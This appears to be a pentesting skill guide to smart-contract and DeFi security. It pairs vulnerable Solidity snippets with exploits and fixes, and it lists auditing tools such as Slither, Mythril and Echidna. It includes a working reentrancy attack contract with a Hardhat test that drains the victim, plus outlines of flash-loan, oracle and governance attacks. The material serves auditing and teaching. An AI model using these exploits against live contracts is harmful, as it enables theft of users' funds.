exploiting-web3-smart-contracts
Exploiting Web3 and Smart Contracts
When to Use
- Smart contract security auditing
- DeFi protocol testing
- Web3 application pentesting
- Blockchain vulnerability assessment
- NFT platform security
Environment Setup
Install Tools:
# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs
# Hardhat (Ethereum development)
npm install --save-dev hardhat
# Foundry (Rust-based toolkit)
curl -L https://foundry.paradigm.xyz | bash
foundryup
# Slither (static analysis)
pip3 install slither-analyzer
# Mythril (security analysis)
pip3 install mythril
Connect to Networks:
// Ethereum Mainnet via Infura
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');
// Local development (Hardhat/Ganache)
const web3 = new Web3('http://127.0.0.1:8545');
Common Smart Contract Vulnerabilities
1. Reentrancy
Vulnerable Contract:
contract Vulnerable {
mapping(address => uint) public balances;
function withdraw() public {
uint amount = balances[msg.sender];
// Vulnerable: external call before state update
(bool success,) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0; // State update after call
}
}
Exploit:
contract Attack {
Vulnerable victim;
constructor(address _victim) {
victim = Vulnerable(_victim);
}
function attack() public payable {
victim.deposit{value: 1 ether}();
victim.withdraw();
}
fallback() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw(); // Reenter
}
}
}
Prevention:
- Checks-Effects-Interactions pattern
- ReentrancyGuard modifier
- Use transfer() instead of call()
2. Integer Overflow/Underflow
Vulnerable (Solidity < 0.8.0):
function transfer(address _to, uint256 _value) public {
require(balances[msg.sender] - _value >= 0); // Can underflow
balances[msg.sender] -= _value;
balances[_to] += _value; // Can overflow
}
Exploit:
// Send more tokens than you have
// balances[msg.sender] = 1
// _value = 2
// 1 - 2 = 2^256 - 1 (underflow)
Prevention:
- Use Solidity >= 0.8.0 (automatic checks)
- Use SafeMath library
- Manual overflow checks
3. Access Control Issues
Vulnerable:
function withdraw() public {
// Missing access control!
msg.sender.transfer(address(this).balance);
}
function setOwner(address _owner) public {
owner = _owner; // Anyone can become owner
}
Exploit:
// Call withdraw from any address
await contract.withdraw();
// Become owner
await contract.setOwner(attackerAddress);
Prevention:
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function withdraw() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
4. Unchecked External Calls
Vulnerable:
function callExternal(address target) public {
target.call(""); // Return value not checked
}
function sendEther(address payable recipient) public {
recipient.send(1 ether); // Silently fails if send() returns false
}
Prevention:
(bool success,) = target.call("");
require(success, "Call failed");
5. Delegatecall Injection
Vulnerable:
function forward(address _target, bytes memory _data) public {
_target.delegatecall(_data); // Executes in contract's context
}
Exploit:
// Attacker can modify contract storage
// Call selfdestruct()
// Change owner
Prevention:
- Avoid delegatecall to user-controlled addresses
- Whitelist allowed targets
- Use libraries instead
6. Front-Running / MEV
Scenario:
// DEX swap at specific price
function swap(uint256 amountIn) public {
uint256 amountOut = getAmountOut(amountIn);
// Attacker sees this in mempool
// Submits transaction with higher gas to execute first
// Changes the price before victim's tx
}
MEV Attacks:
- Front-running
- Back-running
- Sandwich attacks
- Liquidations
- Arbitrage
Mitigation:
- Commit-reveal schemes
- Private mempools (Flashbots)
- Slippage protection
- Minimal on-chain disclosure
7. Price Oracle Manipulation
Vulnerable:
// Using single DEX as price source
function getPrice() public view returns (uint256) {
return uniswapPair.getReserves();
}
Exploit:
// Flash loan attack
// 1. Borrow large amount
// 2. Manipulate DEX price
// 3. Interact with vulnerable contract
// 4. Repay flash loan
// 5. Profit
Prevention:
- Use time-weighted average price (TWAP)
- Multiple oracle sources (Chainlink)
- Delay price updates
- Min/max price bounds
8. Denial of Service
Vulnerable:
function distribute() public {
for (uint i = 0; i < users.length; i++) {
users[i].transfer(amount); // Can run out of gas
}
}
function withdraw() public {
// Winner takes all
require(msg.sender == topBidder);
msg.sender.transfer(address(this).balance);
}
Exploit:
- Create contract that rejects ether (reverts in fallback)
- Become topBidder
- Prevent anyone from winning
Prevention:
- Pull over push pattern
- Gas limits
- Emergency stop mechanisms
Auditing Tools
Static Analysis
Slither:
# Analyze contract
slither contract.sol
# Specific detectors
slither contract.sol --detect reentrancy-eth,tx-origin
# Generate report
slither contract.sol --json output.json
# Common detectors:
# - reentrancy-eth
# - uninitialized-state
# - tx-origin
# - unchecked-transfer
# - arbitrary-send
Mythril:
# Analyze with Mythril
myth analyze contract.sol
# Specify contract
myth analyze contract.sol:ContractName
# Graph generation
myth analyze contract.sol --graph output.html
Securify:
# Online tool
# https://securify.chainsecurity.com/
Dynamic Analysis
Echidna (Fuzzer):
# Install
docker pull trailofbits/echidna
# Run fuzzer
echidna-test contract.sol --contract ContractName
Manticore (Symbolic Execution):
# Install
pip3 install manticore
# Analyze
manticore contract.sol
Testing Frameworks
Hardhat:
const { expect } = require("chai");
describe("Token", function () {
it("Should exploit reentrancy", async function () {
const [owner, attacker] = await ethers.getSigners();
const Vulnerable = await ethers.getContractFactory("Vulnerable");
const vulnerable = await Vulnerable.deploy();
const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.deploy(vulnerable.address);
// Exploit
await attack.attack({ value: ethers.utils.parseEther("1.0") });
// Verify
expect(await ethers.provider.getBalance(vulnerable.address)).to.equal(0);
});
});
Foundry:
// test/Exploit.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Vulnerable.sol";
contract ExploitTest is Test {
Vulnerable public vulnerable;
function setUp() public {
vulnerable = new Vulnerable();
}
function testExploit() public {
// Test exploit
}
}
# Run tests
forge test
forge test --match-contract ExploitTest -vvv
DeFi-Specific Attacks
Flash Loan Attack
interface IFlashLoan {
function flashLoan(uint256 amount) external;
}
contract FlashLoanExploit {
function exploit() external {
// 1. Borrow flash loan
IFlashLoan(lender).flashLoan(1000000 ether);
}
function executeOperation(uint256 amount) external {
// 2. Manipulate price oracle
// 3. Exploit vulnerable contract
// 4. Repay flash loan + fee
// 5. Keep profit
}
}
Impermanent Loss Exploitation
- Manipulate pool ratios
- Extract value from liquidity providers
- Arbitrage price differences
Governance Attacks
// Flash loan to get voting power
// Vote on malicious proposal
// Execute immediately
// Repay loan
Web3 Frontend Vulnerabilities
Wallet Connection:
// Vulnerable: No signature verification
const signature = await signer.signMessage(message);
// Attacker can replay signature
// Secure: Include nonce and timestamp
const message = `Nonce: ${nonce}\nTimestamp: ${timestamp}`;
Transaction Simulation:
// Before sending transaction
const result = await contract.callStatic.functionName(args);
// Verify expected outcome
Blockchain Forensics
Etherscan API:
# Get contract source
curl "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=0x..."
# Get transactions
curl "https://api.etherscan.io/api?module=account&action=txlist&address=0x..."
Transaction Analysis:
// Get transaction
const tx = await web3.eth.getTransaction(txHash);
// Get receipt
const receipt = await web3.eth.getTransactionReceipt(txHash);
// Decode input data
const decoded = contract.interface.parseTransaction({ data: tx.input });
Event Monitoring:
// Listen for events
contract.on("Transfer", (from, to, amount) => {
console.log(`Transfer: ${from} -> ${to}: ${amount}`);
});
// Past events
const events = await contract.queryFilter("Transfer", fromBlock, toBlock);
NFT-Specific Vulnerabilities
Metadata Manipulation:
- Centralized metadata storage
- Mutable tokenURI
- IPFS pinning issues
Minting Exploits:
// Reentrancy in minting
function mint() external payable {
require(msg.value == price);
(bool success,) = owner.call{value: msg.value}(""); // Vulnerable
_mint(msg.sender, tokenId++);
}
Royalty Bypass:
- Direct NFT transfers
- Bypassing marketplace fees
- Washing trades
Testing on Mainnet Fork
Hardhat:
// hardhat.config.js
module.exports = {
networks: {
hardhat: {
forking: {
url: "https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY",
blockNumber: 14000000
}
}
}
};
Foundry:
# Fork mainnet
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY
# Specific block
forge test --fork-url https://... --fork-block-number 14000000
Tools Summary
Analysis:
- Slither - Static analyzer
- Mythril - Security scanner
- Manticore - Symbolic execution
- Echidna - Fuzzer
Development:
- Hardhat - Development environment
- Foundry - Rust-based toolkit
- Remix - Online IDE
- Truffle - Development framework
Monitoring:
- Etherscan - Block explorer
- Tenderly - Debugging platform
- OpenZeppelin Defender - Security monitoring
Security Best Practices
- Use latest Solidity (>= 0.8.0)
- Follow Checks-Effects-Interactions pattern
- Limit external calls
- Validate all inputs
- Use established libraries (OpenZeppelin)
- Implement access control
- Add emergency pause
- Get professional audits
- Use testnets extensively
- Monitor contracts post-deployment
References
More from trilwu/secskills
attacking-wireless-networks
Attack WiFi networks using WPA/WPA2 cracking, WPS exploitation, Evil Twin attacks, deauthentication, and wireless reconnaissance. Use when pentesting wireless networks or performing WiFi security assessments.
18testing-web-applications
Test web applications for security vulnerabilities including SQLi, XSS, command injection, JWT attacks, SSRF, file uploads, XXE, and API flaws. Use when pentesting web apps, analyzing authentication, or exploiting OWASP Top 10 vulnerabilities.
17cracking-passwords
Crack password hashes using hashcat/john, perform password spraying, brute force authentication, and execute pass-the-hash attacks. Use when cracking credentials or performing password-based attacks.
17testing-apis
Test REST and GraphQL APIs for authentication bypasses, authorization flaws, IDOR, mass assignment, injection attacks, and rate limiting issues. Use when pentesting APIs or testing microservices security.
16performing-reconnaissance
Perform OSINT, subdomain enumeration, port scanning, web reconnaissance, email harvesting, and cloud asset discovery for initial access. Use when gathering intelligence or mapping attack surface.
16transferring-files
Transfer files between systems using HTTP, SMB, FTP, netcat, base64 encoding, and living-off-the-land techniques for both Linux and Windows. Use when moving tools or exfiltrating data.
14